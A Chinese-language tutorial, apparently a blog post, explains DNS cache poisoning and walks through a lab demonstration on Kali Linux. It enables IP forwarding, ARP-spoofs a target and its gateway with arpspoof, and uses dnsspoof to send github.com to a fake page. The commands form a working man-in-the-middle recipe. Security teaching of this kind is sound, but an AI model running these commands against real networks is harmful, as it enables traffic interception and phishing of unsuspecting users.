DNS缓存攻击原理
DNS缓存攻击是通过欺骗域名服务器的缓存条目(即:域名到ip地址的映射)。当目标计算机访问被欺骗的域名时,会把域名转发到一个被我们伪装的站点下。而访问者却并不知道访问的是一个假网站。
当计算机要访问本地或者Internet上的站点时,操作系统首先需要知道该站点的确切IP。但是记住ip是一件困难的事情,所以基本上每个站点都有一个域名。而计算机去访问站点的时候如果拿到的是域名,那么去寻找网络中的一台DNS 服务器,通过该域名服务器提供的域名解析服务将域名转换为真实的ip地址再进行访问大概的流程如下
可以看到nslookup将GitHub.com翻译为12.229.188.59。如果本地DNS服务器缓存中具有这个地址的条目,它便把正确的ip地址返回给查询终端。如果它的缓存条目里没有这条记录,它将联系Iternet上的DNS服务器寻找相应的地址信息。最终目的在用户不需要知道ip地址的情况下正确的通过URL地址来访问GitHub.com
开始模拟一个DNS攻击
DNS攻击:就是发送一堆DNS域名指向错误的服务器地址。
首先我们先来启动一个网页,这里用kali自带的一个站点
//输入命令
/etc/init.d/apache2 start
这时我们得到kali自带的Apache的默认站点,测试的话用这个就够了。
##我们现在需要做一个ip转发
//输入命令
echo 1 > /proc/sys/net/ipv4/ip_forward
然后开两个窗口对靶机和网关之间做一个流量劫持
arpspoof -i eth0 -t 192.168.3.23 192.168.3.1
arpspoof -i eth0 -t 192.168.3.1 192.168.3.23
//192.168.3.23是我的靶机
接下来了我们将github.com指向这个页面的地址
dnsspoof -i eth0 -f hosts.txt
我们在靶机ping github.com
发现github的指向变了
浏览器访问一下试试
成功进入了假页面
- 如果你没有dnsspoof命令的话需要自己安装一下
apt-get install dsniff
DNS过程演示就结束了,自己动手试试吧
了解更多渗透技术可关注公众号 :安全命令 (ID:safecmd)